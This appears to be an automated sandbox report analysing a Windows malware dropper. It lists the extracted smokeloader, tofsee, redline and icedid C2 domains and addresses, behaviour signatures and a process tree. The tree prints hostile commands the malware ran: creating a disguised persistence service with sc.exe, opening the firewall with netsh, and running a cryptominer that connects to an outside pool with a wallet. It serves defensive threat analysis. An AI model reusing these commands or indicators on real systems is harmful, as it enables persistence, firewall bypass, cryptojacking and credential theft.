Analysis

  • max time kernel
    153s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7-en-20211014
  • submitted
    03/11/2021, 09:47

General

  • Target
    e02d7e72ac3c10c149242b621c698c25.exe
  • Size 288KB
  • Sample211103-lr74esafer
  • SHA256 ad226d0d0d65f6b2cf338844fad2229e5556df67303fdcd0ba079f6c0dd0345e
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • smokeloader

Version
  • 2020

C2
  • http://honawey70.top/

  • http://wijibui00.top/

  • http://nusurtal4f.net/

  • http://netomishnetojuk.net/

  • http://escalivrouter.net/

  • http://nick22doom4.net/

  • http://wrioshtivsio.su/

  • http://nusotiso4.su/

  • http://rickkhtovkka.biz/

  • http://palisotoliso.net/

  • http://193.56.146.214/

  • https://193.56.146.214/

rc4.i32
rc4.i32
rc4.i32
rc4.i32
rc4.i32
rc4.i32

Extracted

Family
  • tofsee

C2
  • quadoil.ru

  • lakeflex.ru

Extracted

Family
  • redline

Botnet
  • SuperStar

C2
  • 185.215.113.29:36224

Extracted

Family
  • redline

Botnet
  • 76567567

C2
  • 93.115.20.139:28978

Extracted

Family
  • icedid

Campaign
  • 3022016856

C2
  • actuallyobligat.info

Extracted

Family
  • redline

Botnet
  • LOVE

C2
  • 91.242.229.222:21475

Extracted

Family
  • redline

Botnet
  • 101

C2
  • 185.92.73.142:52097

Signatures

  • IcedID, BokBot

    IcedID is a banking trojan capable of stealing credentials.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 11 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • suricata: ET MALWARE Win32/IcedID Request Cookie

    suricata: ET MALWARE Win32/IcedID Request Cookie

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Core1 .NET packer 1 IoCs

    Detects packer/loader used by .NET malware.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 13 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Loads dropped DLL 10 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 13 IoCs
  • Suspicious use of SetThreadContext 6 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 12 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 11 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SendNotifyMessage 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\e02d7e72ac3c10c149242b621c698c25.exe
    "C:\Users\Admin\AppData\Local\Temp\e02d7e72ac3c10c149242b621c698c25.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:816
    • C:\Users\Admin\AppData\Local\Temp\e02d7e72ac3c10c149242b621c698c25.exe
      "C:\Users\Admin\AppData\Local\Temp\e02d7e72ac3c10c149242b621c698c25.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:1464
  • C:\Users\Admin\AppData\Local\Temp\B941.exe
    C:\Users\Admin\AppData\Local\Temp\B941.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:2028
    • C:\Users\Admin\AppData\Local\Temp\B941.exe
      C:\Users\Admin\AppData\Local\Temp\B941.exe
      2⤵
      • Executes dropped EXE
      • Checks SCSI registry key(s)
      • Suspicious behavior: MapViewOfSection
      PID:1660
  • C:\Users\Admin\AppData\Local\Temp\BD38.exe
    C:\Users\Admin\AppData\Local\Temp\BD38.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:988
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\kkmzatnf\
      2⤵
        PID:1220
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\iraiwowf.exe" C:\Windows\SysWOW64\kkmzatnf\
        2⤵
          PID:1716
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create kkmzatnf binPath= "C:\Windows\SysWOW64\kkmzatnf\iraiwowf.exe /d\"C:\Users\Admin\AppData\Local\Temp\BD38.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1704
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description kkmzatnf "wifi internet conection"
            2⤵
              PID:588
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start kkmzatnf
              2⤵
                PID:1648
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:1900
              • C:\Users\Admin\AppData\Local\Temp\C2F3.exe
                C:\Users\Admin\AppData\Local\Temp\C2F3.exe
                1⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:1476
                • C:\Windows\SysWOW64\WScript.exe
                  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\livelong.vbs"
                  2⤵
                  • Loads dropped DLL
                  • Suspicious use of WriteProcessMemory
                  PID:1012
                  • C:\Users\Admin\AppData\Local\Temp\RarSFX0\adduce.exe
                    "C:\Users\Admin\AppData\Local\Temp\RarSFX0\adduce.exe" -pesiguejfcxesvfbvlyourdlwgagluz
                    3⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    • Suspicious use of WriteProcessMemory
                    PID:1216
                    • C:\Users\Admin\AppData\Local\Temp\RarSFX1\regimes.exe
                      "C:\Users\Admin\AppData\Local\Temp\RarSFX1\regimes.exe"
                      4⤵
                      • Executes dropped EXE
                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                      • Suspicious use of SetThreadContext
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1112
                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe
                        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"
                        5⤵
                          PID:1484
                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe
                          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"
                          5⤵
                            PID:664
                          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe
                            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"
                            5⤵
                              PID:1656
                    • C:\Users\Admin\AppData\Local\Temp\C5D2.exe
                      C:\Users\Admin\AppData\Local\Temp\C5D2.exe
                      1⤵
                      • Executes dropped EXE
                      • Loads dropped DLL
                      • Checks SCSI registry key(s)
                      • Suspicious behavior: MapViewOfSection
                      PID:1956
                    • C:\Users\Admin\AppData\Local\Temp\CDAF.exe
                      C:\Users\Admin\AppData\Local\Temp\CDAF.exe
                      1⤵
                      • Executes dropped EXE
                      • Checks SCSI registry key(s)
                      • Suspicious behavior: MapViewOfSection
                      PID:1700
                    • C:\Windows\SysWOW64\kkmzatnf\iraiwowf.exe
                      C:\Windows\SysWOW64\kkmzatnf\iraiwowf.exe /d"C:\Users\Admin\AppData\Local\Temp\BD38.exe"
                      1⤵
                      • Executes dropped EXE
                      • Suspicious use of SetThreadContext
                      PID:1536
                      • C:\Windows\SysWOW64\svchost.exe
                        svchost.exe
                        2⤵
                        • Drops file in System32 directory
                        • Suspicious use of SetThreadContext
                        • Modifies data under HKEY_USERS
                        PID:1220
                        • C:\Windows\SysWOW64\svchost.exe
                          svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                          3⤵
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1688
                    • C:\Users\Admin\AppData\Local\Temp\DB09.exe
                      C:\Users\Admin\AppData\Local\Temp\DB09.exe
                      1⤵
                      • Executes dropped EXE
                      • Loads dropped DLL
                      • Suspicious use of SetThreadContext
                      PID:916
                      • C:\Users\Admin\AppData\Local\Temp\DB09.exe
                        C:\Users\Admin\AppData\Local\Temp\DB09.exe
                        2⤵
                        • Executes dropped EXE
                        PID:1920
                    • C:\Windows\system32\regsvr32.exe
                      regsvr32 /s C:\Users\Admin\AppData\Local\Temp\E788.dll
                      1⤵
                      • Loads dropped DLL
                      PID:1304
                    • C:\Users\Admin\AppData\Local\Temp\EE0E.exe
                      C:\Users\Admin\AppData\Local\Temp\EE0E.exe
                      1⤵
                      • Executes dropped EXE
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1532
                    • C:\Users\Admin\AppData\Local\Temp\F59D.exe
                      C:\Users\Admin\AppData\Local\Temp\F59D.exe
                      1⤵
                      • Executes dropped EXE
                      PID:1856

                    Network

                          MITRE ATT&CK Enterprise v6

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          memory/664-162-0x00000000005D0000-0x00000000005D1000-memory.dmp

                          memory/664-151-0x0000000000400000-0x0000000000420000-memory.dmp

                          memory/664-153-0x0000000000400000-0x0000000000420000-memory.dmp

                          memory/664-154-0x0000000000400000-0x0000000000420000-memory.dmp

                          memory/664-152-0x0000000000400000-0x0000000000420000-memory.dmp

                          memory/664-150-0x0000000000400000-0x0000000000420000-memory.dmp

                          memory/664-156-0x0000000000400000-0x0000000000420000-memory.dmp

                          memory/816-55-0x0000000000A2D000-0x0000000000A3E000-memory.dmp

                          memory/816-59-0x0000000000220000-0x0000000000229000-memory.dmp

                          memory/916-132-0x0000000000AED000-0x0000000000B10000-memory.dmp

                          memory/916-143-0x0000000000220000-0x0000000000250000-memory.dmp

                          memory/988-86-0x00000000002B0000-0x00000000002C3000-memory.dmp

                          memory/988-87-0x0000000000400000-0x00000000008ED000-memory.dmp

                          memory/988-72-0x000000000098D000-0x000000000099E000-memory.dmp

                          memory/1112-140-0x0000000000D40000-0x0000000000D6F000-memory.dmp

                          memory/1112-108-0x0000000000E90000-0x0000000000E91000-memory.dmp

                          memory/1112-122-0x0000000000E20000-0x0000000000E21000-memory.dmp

                          memory/1220-128-0x0000000000080000-0x0000000000095000-memory.dmp

                          memory/1220-127-0x0000000000080000-0x0000000000095000-memory.dmp

                          memory/1304-142-0x000007FEFBF81000-0x000007FEFBF83000-memory.dmp

                          memory/1304-160-0x0000000000300000-0x0000000000363000-memory.dmp

                          memory/1400-114-0x0000000003FA0000-0x0000000003FB6000-memory.dmp

                          memory/1400-60-0x0000000002560000-0x0000000002576000-memory.dmp

                          memory/1400-161-0x0000000004890000-0x00000000048A6000-memory.dmp

                          memory/1400-159-0x00000000047D0000-0x00000000047E6000-memory.dmp

                          memory/1464-56-0x0000000000400000-0x0000000000409000-memory.dmp

                          memory/1464-58-0x0000000075321000-0x0000000075323000-memory.dmp

                          memory/1532-177-0x00000000022C4000-0x00000000022C6000-memory.dmp

                          memory/1532-172-0x00000000022C3000-0x00000000022C4000-memory.dmp

                          memory/1532-170-0x00000000022C1000-0x00000000022C2000-memory.dmp

                          memory/1532-171-0x00000000022C2000-0x00000000022C3000-memory.dmp

                          memory/1532-169-0x0000000000400000-0x000000000045E000-memory.dmp

                          memory/1532-167-0x0000000000220000-0x0000000000257000-memory.dmp

                          memory/1532-168-0x00000000002E0000-0x000000000032F000-memory.dmp

                          memory/1532-166-0x0000000002260000-0x000000000229D000-memory.dmp

                          memory/1532-165-0x00000000020B0000-0x00000000020EE000-memory.dmp

                          memory/1536-131-0x0000000000400000-0x00000000008ED000-memory.dmp

                          memory/1536-125-0x00000000002CD000-0x00000000002DE000-memory.dmp

                          memory/1688-182-0x0000000000120000-0x0000000000211000-memory.dmp

                          memory/1688-183-0x0000000000120000-0x0000000000211000-memory.dmp

                          memory/1700-115-0x0000000000220000-0x0000000000228000-memory.dmp

                          memory/1700-118-0x0000000000400000-0x000000000042F000-memory.dmp

                          memory/1700-116-0x0000000000230000-0x0000000000239000-memory.dmp

                          memory/1856-190-0x00000000007D0000-0x00000000007EB000-memory.dmp

                          memory/1856-189-0x0000000000640000-0x0000000000670000-memory.dmp

                          memory/1856-181-0x000000001BA50000-0x000000001BA52000-memory.dmp

                          memory/1856-180-0x0000000000780000-0x00000000007C0000-memory.dmp

                          memory/1856-178-0x000000013F9A0000-0x000000013F9A1000-memory.dmp

                          memory/1920-147-0x00000000047D3000-0x00000000047D4000-memory.dmp

                          memory/1920-144-0x0000000000400000-0x0000000000433000-memory.dmp

                          memory/1920-135-0x0000000000400000-0x0000000000433000-memory.dmp

                          memory/1920-158-0x00000000047D4000-0x00000000047D6000-memory.dmp

                          memory/1920-146-0x00000000047D2000-0x00000000047D3000-memory.dmp

                          memory/1920-139-0x00000000003E0000-0x00000000003FB000-memory.dmp

                          memory/1920-138-0x00000000002E0000-0x00000000002FC000-memory.dmp

                          memory/1920-145-0x00000000047D1000-0x00000000047D2000-memory.dmp

                          memory/1956-113-0x0000000000400000-0x0000000000433000-memory.dmp

                          memory/1956-112-0x0000000000030000-0x0000000000039000-memory.dmp

                          memory/1956-111-0x0000000000020000-0x0000000000028000-memory.dmp

                          memory/2028-65-0x000000000097D000-0x000000000098E000-memory.dmp